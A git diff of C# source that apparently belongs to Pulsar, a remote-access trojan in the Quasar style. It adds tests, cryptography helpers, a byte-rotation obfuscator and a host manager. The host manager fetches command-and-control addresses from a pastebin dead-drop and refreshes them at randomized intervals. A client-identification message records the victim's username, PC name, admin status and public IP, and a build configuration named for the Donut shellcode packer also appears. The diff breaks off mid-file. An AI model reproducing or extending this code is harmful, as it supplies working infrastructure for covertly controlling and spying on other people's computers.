Int64.MaxValue; + var jpg = new JpgCompression(quality); + var bitmap = new Bitmap(200, 200); + + var result = jpg.Compress(bitmap); + + Assert.IsNotNull(result); + CollectionAssert.AllItemsAreNotNull(result); + } + } +} diff --git a/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs b/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100644 index 0000000..ce02ff6 --- /dev/null +++ b/Pulsar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +ο»Ώusing Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Cryptography; +using Pulsar.Common.Helpers; +using System.Text; + +namespace Pulsar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs b/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100644 index 0000000..ef7d01f --- /dev/null +++ b/Pulsar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +ο»Ώusing Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Cryptography; +using Pulsar.Common.Helpers; + +namespace Pulsar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs b/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100644 index 0000000..9b6f1d0 --- /dev/null +++ b/Pulsar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +ο»Ώusing Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Helpers; + +namespace Pulsar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] { 77, 90 }; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] { 22, 93 }; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs b/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs new file mode 100644 index 0000000..f7c7e43 --- /dev/null +++ b/Pulsar.Common.Tests/Networking/SecureMessageEnvelopeTests.cs @@ -0,0 +1,54 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace Pulsar.Common.Tests.Networking +{ + [TestClass] + public class SecureMessageEnvelopeTests + { + [TestMethod] + public void WrapAndUnwrap_RoundTrip_ReturnsOriginalMessage() + { + using (var rsa = RSA.Create(2048)) + { + var request = new CertificateRequest("CN=SecureMessageEnvelopeTests", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + using (var certificate = request.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(30))) + { + var original = new ClientIdentification + { + Version = "1.0", + OperatingSystem = "Windows", + AccountType = "Admin", + Country = "Wonderland", + CountryCode = "WL", + ImageIndex = 3, + Id = new string('A', 64), + Username = "tester", + PcName = "test-pc", + Tag = "tag", + EncryptionKey = "key", + Signature = new byte[] { 0x01, 0x02, 0x03 }, + PublicIP = "127.0.0.1" + }; + + var envelope = SecureMessageEnvelopeHelper.Wrap(original, certificate); + + Assert.IsNotNull(envelope); + Assert.IsNotNull(envelope.Payload); + Assert.AreNotEqual(0, envelope.Payload.Length); + + var roundTrip = SecureMessageEnvelopeHelper.Unwrap(envelope, certificate) as ClientIdentification; + + Assert.IsNotNull(roundTrip); + Assert.AreEqual(original.Username, roundTrip.Username); + Assert.AreEqual(original.Id, roundTrip.Id); + Assert.AreEqual(original.PublicIP, roundTrip.PublicIP); + } + } + } + } +} diff --git a/Pulsar.Common.Tests/Properties/AssemblyInfo.cs b/Pulsar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..c76cba0 --- /dev/null +++ b/Pulsar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,19 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Pulsar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Pulsar")] +[assembly: AssemblyCopyright("Copyright Β© PulsarTeam 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.4.5")] +[assembly: AssemblyFileVersion("2.4.5")] diff --git a/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj b/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj new file mode 100644 index 0000000..b5a55a8 --- /dev/null +++ b/Pulsar.Common.Tests/Pulsar.Common.Tests.csproj @@ -0,0 +1,30 @@ +ο»Ώ + + net48 + false + Debug;Release;ReleaseWithDonut + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + ..\bin\Release\ + none + false + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common/.DS_Store b/Pulsar.Common/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..0619d086132ede410146b32c0b72a45f52fd480f GIT binary patch literal 10244 zcmeHMJ#Q015S_CVa7=_8DWajd0tpI=q@sYri5&@$!iOxNB_AdM?3`uC3hC|#P~=xo zP(XTq00j-=m+%vKv%4fWcRP_lLNd}^v^UPpn|&|u_8iZeh?4c`?kZ7AL=6m%two$7 z2j_WIj#{{K4>3VK(II8DM`PNeQ3Y)m%mH)2954sW0drs$9Kio%hsi0ElzA><+v}AK+@z5ZfWAQy{lqR9YNPIc+DZ>%l zA?7~%a!PzTC4o5!9ZKTZQI|S6C2b$=Yz~+MRR_3tU!)Ft_G9$y#r}Ptjt6_Iy`5|r zdikAi7h#84x4S*awt?YC@x%KcU)L_i@BR^fv|rS6f~l!aU3x@4sq!g*nh6<2(^)pE zAY>(9&V2KyS%H^Ki7_oxpQ6MBuk7DTCJ`KN|c zG)3oB)J3sU=L+k*O!uL2fc4bJx+*Dr__>Nuw3X&jRFzOt&xrNZ=m9;JKDEC5zOHb) z8imp2Bu~mb4cf$CJi*TvcERvUa3;5J#xM$hWiCZa1t)YZ#RfHHoXzb z>YI1ZGm4f_r?7{t;H$I!cwV01X_;cpup^~Av~;bCQ20ypC^||gp~rvdYC_K#9{A_? z5UR>+ndU!2RTQUaQ?Su@!6;VhY_V^3dPZy15%-B|cg{14mQbho6S5J$1@N&O1B|FE z*I$4;f>Lxukx@q?NU3jy{g|icP{z-BCOvs|B(sX1LcQWm0U`NMnBNX_z#K3K%mH)2 z9GHCv>Rw{X9rK3%{r~L$A*RqAFbDqHfn=`R>#n0b?5$TO;=T41<0S?kjLUs=B{;e5 zctp1yk6(BX@D>JRU2_s%w?oW*bmhRfazwwI|Ifb+DC|GTKE}zj{@?olj$9XRzai3v L%Rc*m>i>TMf`oM? literal 0 HcmV?d00001 diff --git a/Pulsar.Common/Cryptography/.DS_Store b/Pulsar.Common/Cryptography/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 0) + { + byte[] nonceCopy = (byte[])nonce.Clone(); + _nonceHandle = GCHandle.Alloc(nonceCopy, GCHandleType.Pinned); + Info.pbNonce = _nonceHandle.AddrOfPinnedObject(); + Info.cbNonce = nonceCopy.Length; + } + + if (aad != null && aad.Length > 0) + { + byte[] aadCopy = (byte[])aad.Clone(); + _aadHandle = GCHandle.Alloc(aadCopy, GCHandleType.Pinned); + Info.pbAuthData = _aadHandle.AddrOfPinnedObject(); + Info.cbAuthData = aadCopy.Length; + Info.cbAAD = aadCopy.Length; + } + + if (tag != null && tag.Length > 0) + { + _tagBuffer = (byte[])tag.Clone(); + _tagHandle = GCHandle.Alloc(_tagBuffer, GCHandleType.Pinned); + Info.pbTag = _tagHandle.AddrOfPinnedObject(); + Info.cbTag = _tagBuffer.Length; + + byte[] mac = new byte[_tagBuffer.Length]; + _macHandle = GCHandle.Alloc(mac, GCHandleType.Pinned); + Info.pbMacContext = _macHandle.AddrOfPinnedObject(); + Info.cbMacContext = mac.Length; + } + } + + internal void CopyTag(byte[] destination) + { + if (_tagBuffer != null && destination != null) + { + Buffer.BlockCopy(_tagBuffer, 0, destination, 0, Math.Min(_tagBuffer.Length, destination.Length)); + } + } + + public void Dispose() + { + if (_macHandle.IsAllocated) _macHandle.Free(); + if (_tagHandle.IsAllocated) _tagHandle.Free(); + if (_aadHandle.IsAllocated) _aadHandle.Free(); + if (_nonceHandle.IsAllocated) _nonceHandle.Free(); + } + } + + [StructLayout(LayoutKind.Sequential)] + private struct BCryptAuthenticatedCipherModeInfo + { + internal int cbSize; + internal int dwInfoVersion; + internal IntPtr pbNonce; + internal int cbNonce; + internal IntPtr pbAuthData; + internal int cbAuthData; + internal IntPtr pbTag; + internal int cbTag; + internal IntPtr pbMacContext; + internal int cbMacContext; + internal int cbAAD; + internal long cbData; + internal int dwFlags; + } + + private sealed class SafeAlgorithmHandle : SafeHandleZeroOrMinusOneIsInvalid + { + internal SafeAlgorithmHandle(IntPtr handle) : base(true) + { + SetHandle(handle); + } + + protected override bool ReleaseHandle() + { + return BCryptCloseAlgorithmProvider(handle, 0) == ERROR_SUCCESS; + } + } + + private sealed class SafeKeyHandle : SafeHandleZeroOrMinusOneIsInvalid + { + private readonly IntPtr _keyObject; + + internal SafeKeyHandle(IntPtr handle, IntPtr keyObject) : base(true) + { + SetHandle(handle); + _keyObject = keyObject; + } + + protected override bool ReleaseHandle() + { + if (_keyObject != IntPtr.Zero) + { + Marshal.FreeHGlobal(_keyObject); + } + + return BCryptDestroyKey(handle) == ERROR_SUCCESS; + } + } + + [DllImport("bcrypt.dll")] + private static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + private static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + private static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, int cbInput, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCryptAuthenticatedCipherModeInfo pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); + } +} +#endif diff --git a/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs b/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs new file mode 100644 index 0000000..27a3625 --- /dev/null +++ b/Pulsar.Common/Cryptography/ByteRotationObfuscator.cs @@ -0,0 +1,85 @@ +using System; +using System.Diagnostics; + +namespace Pulsar.Common.Cryptography +{ + /// + /// Provides byte rotation obfuscation methods for simple data protection. + /// + public static class ByteRotationObfuscator + { + /// + /// The rotation amount used for obfuscation. + /// + private const int ROTATION_AMOUNT = 16; + + /// + /// Obfuscates data by rotating each byte by a fixed amount with overflow wrapping. + /// + /// The data to obfuscate. + /// The obfuscated data. + public static byte[] Obfuscate(byte[] data) + { + if (data == null) + { + Debug.WriteLine("Failed to Obfuscate. Data is null."); + return data; + } + + + byte[] result = new byte[data.Length]; + for (int i = 0; i < data.Length; i++) + { + result[i] = RotateByte(data[i], ROTATION_AMOUNT); + } + return result; + } + + /// + /// Deobfuscates data by rotating each byte back by the fixed amount with overflow wrapping. + /// + /// The obfuscated data to deobfuscate. + /// The original data. + public static byte[] Deobfuscate(byte[] data) + { + if (data == null) + { + Debug.WriteLine("Failed to Deobfuscate. Data is null."); + return data; + } + + byte[] result = new byte[data.Length]; + for (int i = 0; i < data.Length; i++) + { + result[i] = RotateByte(data[i], -ROTATION_AMOUNT); + } + return result; + } + + /// + /// Rotates a byte by the specified amount with overflow wrapping. + /// + /// The byte to rotate. + /// The rotation amount (can be positive or negative). + /// The rotated byte. + private static byte RotateByte(byte value, int amount) + { + amount = ((amount % 256) + 256) % 256; + + int result = (value + amount) % 256; + return (byte)result; + } + + /// + /// Calculates the rotated value for a given byte and rotation amount. + /// This is a helper method for testing and verification. + /// + /// The byte value to rotate. + /// The rotation amount. + /// The rotated byte value. + public static byte CalculateRotation(byte value, int amount) + { + return RotateByte(value, amount); + } + } +} diff --git a/Pulsar.Common/Cryptography/SafeComparison.cs b/Pulsar.Common/Cryptography/SafeComparison.cs new file mode 100644 index 0000000..c93d158 --- /dev/null +++ b/Pulsar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +ο»Ώusing System.Runtime.CompilerServices; + +namespace Pulsar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Pulsar.Common/Cryptography/Sha256.cs b/Pulsar.Common/Cryptography/Sha256.cs new file mode 100644 index 0000000..987cbe6 --- /dev/null +++ b/Pulsar.Common/Cryptography/Sha256.cs @@ -0,0 +1,33 @@ +ο»Ώusing System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Common.Cryptography +{ + public static class Sha256 + { + public static string ComputeHash(string input) + { + byte[] data = Encoding.UTF8.GetBytes(input); + + using (SHA256Managed sha = new SHA256Managed()) + { + data = sha.ComputeHash(data); + } + + StringBuilder hash = new StringBuilder(); + + foreach (byte _byte in data) + hash.Append(_byte.ToString("X2")); + + return hash.ToString().ToUpper(); + } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } + } +} diff --git a/Pulsar.Common/DNS/.DS_Store b/Pulsar.Common/DNS/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + /// Stores the hostname of the Host. + /// + /// + /// Can be an IPv4, IPv6 address or hostname. + /// + public string Hostname { get; set; } + + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + + /// + /// Stores the port of the Host. + /// + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Pulsar.Common/DNS/HostsConverter.cs b/Pulsar.Common/DNS/HostsConverter.cs new file mode 100644 index 0000000..b8b3929 --- /dev/null +++ b/Pulsar.Common/DNS/HostsConverter.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Pulsar.Common.DNS +{ + public class HostsConverter + { + + public List RawHostsToList(string rawHosts, bool server = false) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + if ((rawHosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || + rawHosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) && + !rawHosts.Contains(";")) + { + hostsList.Add(new Host { Hostname = rawHosts }); + return hostsList; + } + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if (string.IsNullOrEmpty(host)) continue; + + if (Uri.TryCreate(host, UriKind.Absolute, out Uri uri) && + (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps)) + { + hostsList.Add(new Host { Hostname = host }); + } + else if (host.Contains(':')) + { + if (ushort.TryParse(host.Split(':').Last(), out ushort port)) + { + hostsList.Add(new Host + { + Hostname = host.Substring(0, host.LastIndexOf(':')), + Port = port + }); + } + } + else + { + hostsList.Add(new Host { Hostname = host }); + } + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Pulsar.Common/DNS/HostsManager.cs b/Pulsar.Common/DNS/HostsManager.cs new file mode 100644 index 0000000..0ea439d --- /dev/null +++ b/Pulsar.Common/DNS/HostsManager.cs @@ -0,0 +1,282 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + private Host _lastResolvedHost; + private readonly PastebinFetcher _pastebinFetcher; + private readonly HostsConverter _hostsConverter = new HostsConverter(); + private readonly bool _isPastebinMode; + private DateTime _lastSuccessfulConnection = DateTime.MinValue; + private DateTime _lastPastebinCheck = DateTime.MinValue; + //private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1); + //private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1); + private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30); + private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1); + private bool _pastebinReachable = true; + private DateTime _lastPastebinFailure = DateTime.MinValue; + private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2); + private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3); + private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode())); + private readonly object _refreshRandomLock = new object(); + private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue; + private string _lastPastebinContentHash; + + public HostsManager(List hosts) + { + foreach (var host in hosts) + _hosts.Enqueue(host); + + _isPastebinMode = false; + _lastSuccessfulConnection = DateTime.Now; + } + + public HostsManager(string pastebinUrl) + { + _isPastebinMode = true; + _pastebinFetcher = new PastebinFetcher(pastebinUrl); + _lastSuccessfulConnection = DateTime.Now; + + RefreshHostsFromPastebin(forceRefresh: true); + ScheduleNextPastebinRefresh(); + } + + private bool RefreshHostsFromPastebin(bool forceRefresh = false) + { + if (!_isPastebinMode || _pastebinFetcher == null) + return false; + + try + { + string content = _pastebinFetcher.FetchContent(forceRefresh); + _lastPastebinCheck = DateTime.Now; + + if (string.IsNullOrWhiteSpace(content)) + { + _pastebinReachable = false; + _lastPastebinFailure = DateTime.Now; + Debug.WriteLine("Failed to get content from pastebin (empty response)"); + return false; + } + + var hosts = _hostsConverter.RawHostsToList(content); + string newHash = ComputeContentHash(content); + bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal); + + if (hasChanged || _hosts.Count == 0) + { + _hosts.Clear(); + foreach (var host in hosts) + _hosts.Enqueue(host); + + _lastResolvedHost = null; + _lastPastebinContentHash = newHash; + Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}"); + } + else + { + Debug.WriteLine("Pastebin content unchanged; keeping existing hosts."); + } + + _pastebinReachable = true; + return hasChanged; + } + catch (Exception ex) + { + _pastebinReachable = false; + _lastPastebinFailure = DateTime.Now; + Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}"); + return false; + } + } + + public Host GetNextHost() + { + if (_isPastebinMode) + { + if (_nextScheduledPastebinRefresh == DateTime.MinValue) + { + ScheduleNextPastebinRefresh(); + } + + if (DateTime.Now >= _nextScheduledPastebinRefresh) + { + Debug.WriteLine("Scheduled pastebin refresh triggered."); + RefreshHostsFromPastebin(forceRefresh: true); + ScheduleNextPastebinRefresh(); + } + + bool shouldRefreshFromPastebin = false; + bool forceRefresh = false; + + if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1)) + { + Debug.WriteLine("No hosts available, refreshing from pastebin."); + shouldRefreshFromPastebin = true; + forceRefresh = true; + } + else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold) + { + Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates."); + if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval) + { + Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes."); + shouldRefreshFromPastebin = true; + } + } + else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh) + { + Debug.WriteLine("Frequent refresh from pastebin due to high request count or error."); + shouldRefreshFromPastebin = true; + } + + if (shouldRefreshFromPastebin) + { + Debug.WriteLine("Refreshing hosts from pastebin due to conditions met."); + RefreshHostsFromPastebin(forceRefresh); + ScheduleNextPastebinRefresh(); + } + + if (_hosts.Count == 0) + return null; + } + + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); + temp.IpAddress = ResolveHostname(temp); + if (temp.IpAddress == null && _lastResolvedHost != null) + { + temp = _lastResolvedHost; + } + else + { + _lastResolvedHost = temp; + } + + return temp; + } + + /// + /// Notifies the hosts manager that a successful connection was established. + /// This resets the connection failure tracking. + /// + public void NotifySuccessfulConnection() + { + _lastSuccessfulConnection = DateTime.Now; + } + + /// + /// Gets whether pastebin is currently reachable and how long to wait before next attempt. + /// + /// A tuple indicating if pastebin is reachable and suggested wait time in milliseconds. + public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus() + { + if (!_isPastebinMode) + return (true, 0); + + if (_pastebinReachable) + { + return (true, 0); + } + + var timeSinceFailure = DateTime.Now - _lastPastebinFailure; + if (timeSinceFailure < TimeSpan.FromMinutes(5)) + { + return (false, 300000); + } + else if (timeSinceFailure < TimeSpan.FromMinutes(15)) + { + return (false, 600000); + } + else + { + return (false, 1800000); + } + } + + private void ScheduleNextPastebinRefresh() + { + if (!_isPastebinMode) + { + _nextScheduledPastebinRefresh = DateTime.MaxValue; + return; + } + + TimeSpan interval = GetRandomRefreshInterval(); + _nextScheduledPastebinRefresh = DateTime.Now.Add(interval); + Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh})."); + } + + private TimeSpan GetRandomRefreshInterval() + { + double minMs = _scheduledRefreshWindowMin.TotalMilliseconds; + double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds; + + if (maxMs <= minMs) + { + return TimeSpan.FromMilliseconds(minMs); + } + + lock (_refreshRandomLock) + { + double offset = _refreshRandom.NextDouble() * (maxMs - minMs); + return TimeSpan.FromMilliseconds(minMs + offset); + } + } + + private static string ComputeContentHash(string content) + { + using (var sha256 = SHA256.Create()) + { + byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content)); + return BitConverter.ToString(bytes).Replace("-", string.Empty); + } + } + + private static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + if (IPAddress.TryParse(host.Hostname, out IPAddress ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6) + return null; + + return ip; + } + + try + { + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + } + catch (Exception) + { + return null; + } + + return null; + } + } +} diff --git a/Pulsar.Common/DNS/WebClientExtensions.cs b/Pulsar.Common/DNS/WebClientExtensions.cs new file mode 100644 index 0000000..58f00e4 --- /dev/null +++ b/Pulsar.Common/DNS/WebClientExtensions.cs @@ -0,0 +1,45 @@ +using System; +using System.Net; + +namespace Pulsar.Common.DNS +{ + /// + /// WebClient with timeout capability + /// + internal class TimeoutWebClient : WebClient + { + private readonly int _timeout; + + public TimeoutWebClient(int timeout) + { + _timeout = timeout; + this.Proxy = null; + } + + protected override WebRequest GetWebRequest(Uri address) + { + WebRequest request = base.GetWebRequest(address); + + if (request != null) + { + request.Timeout = _timeout; + } + + return request; + } + } + + /// + /// Extension methods for WebClient + /// + internal static class WebClientExtensions + { + /// + /// Creates a WebClient with the specified timeout in milliseconds + /// + public static WebClient WithTimeout(int timeout) + { + return new TimeoutWebClient(timeout); + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Enums/AccountType.cs b/Pulsar.Common/Enums/AccountType.cs new file mode 100644 index 0000000..4b4e74c --- /dev/null +++ b/Pulsar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Pulsar.Common/Enums/ConnectionState.cs b/Pulsar.Common/Enums/ConnectionState.cs new file mode 100644 index 0000000..4c08fe6 --- /dev/null +++ b/Pulsar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Pulsar.Common/Enums/ContentType.cs b/Pulsar.Common/Enums/ContentType.cs new file mode 100644 index 0000000..1092575 --- /dev/null +++ b/Pulsar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Pulsar.Common/Enums/FileType.cs b/Pulsar.Common/Enums/FileType.cs new file mode 100644 index 0000000..7f73d75 --- /dev/null +++ b/Pulsar.Common/Enums/FileType.cs @@ -0,0 +1,9 @@ +ο»Ώnamespace Pulsar.Common.Enums +{ + public enum FileType + { + File, + Directory, + Back + } +} diff --git a/Pulsar.Common/Enums/KematianStatus.cs b/Pulsar.Common/Enums/KematianStatus.cs new file mode 100644 index 0000000..ec22370 --- /dev/null +++ b/Pulsar.Common/Enums/KematianStatus.cs @@ -0,0 +1,10 @@ +namespace 